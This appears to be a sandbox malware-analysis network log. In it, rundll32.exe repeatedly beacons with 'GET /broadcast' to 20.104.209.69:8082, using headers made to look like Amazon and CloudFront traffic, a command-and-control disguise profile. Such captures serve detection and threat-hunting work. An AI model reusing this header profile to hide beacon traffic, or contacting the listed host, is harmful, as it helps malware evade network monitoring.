Jan 8, 2023 16:10:23.685669899 CET	1828	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:23.803231955 CET	1828	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:15 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	49744	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:18.011465073 CET	502	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:18.130012989 CET	503	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
460	192.168.2.6	50159	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:24.101469040 CET	1831	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:24.220221996 CET	1831	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:15 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
461	192.168.2.6	50160	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:24.474972963 CET	1834	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:24.594499111 CET	1834	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:15 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
462	192.168.2.6	50161	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:24.856255054 CET	1837	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:24.975893974 CET	1837	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
463	192.168.2.6	50162	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:25.229127884 CET	1840	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:25.479367018 CET	1841	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
464	192.168.2.6	50163	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:25.746860981 CET	1843	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:25.864923954 CET	1844	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
465	192.168.2.6	50164	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:26.137442112 CET	1846	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:26.254832029 CET	1847	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
466	192.168.2.6	50165	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:26.526134968 CET	1850	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:26.644514084 CET	1850	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
467	192.168.2.6	50166	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:26.897418976 CET	1853	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:27.018201113 CET	1853	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
468	192.168.2.6	50167	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:27.304166079 CET	1856	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:27.423324108 CET	1856	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
469	192.168.2.6	50168	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:27.685270071 CET	1859	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:27.806746960 CET	1859	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	49745	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:18.388411045 CET	505	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:18.506570101 CET	506	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
470	192.168.2.6	50169	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:28.070089102 CET	1862	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:28.188807964 CET	1863	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
471	192.168.2.6	50170	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:28.499996901 CET	1865	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:28.619107008 CET	1866	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
472	192.168.2.6	50171	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:28.871963978 CET	1869	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:28.989984035 CET	1869	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
473	192.168.2.6	50172	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:29.246906996 CET	1872	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:29.365147114 CET	1872	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
474	192.168.2.6	50173	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:29.639002085 CET	1875	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:29.757235050 CET	1875	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
475	192.168.2.6	50174	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:30.028904915 CET	1878	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:30.146846056 CET	1879	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
476	192.168.2.6	50175	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:30.400033951 CET	1881	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:30.518522978 CET	1882	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
477	192.168.2.6	50176	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:30.842892885 CET	1885	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
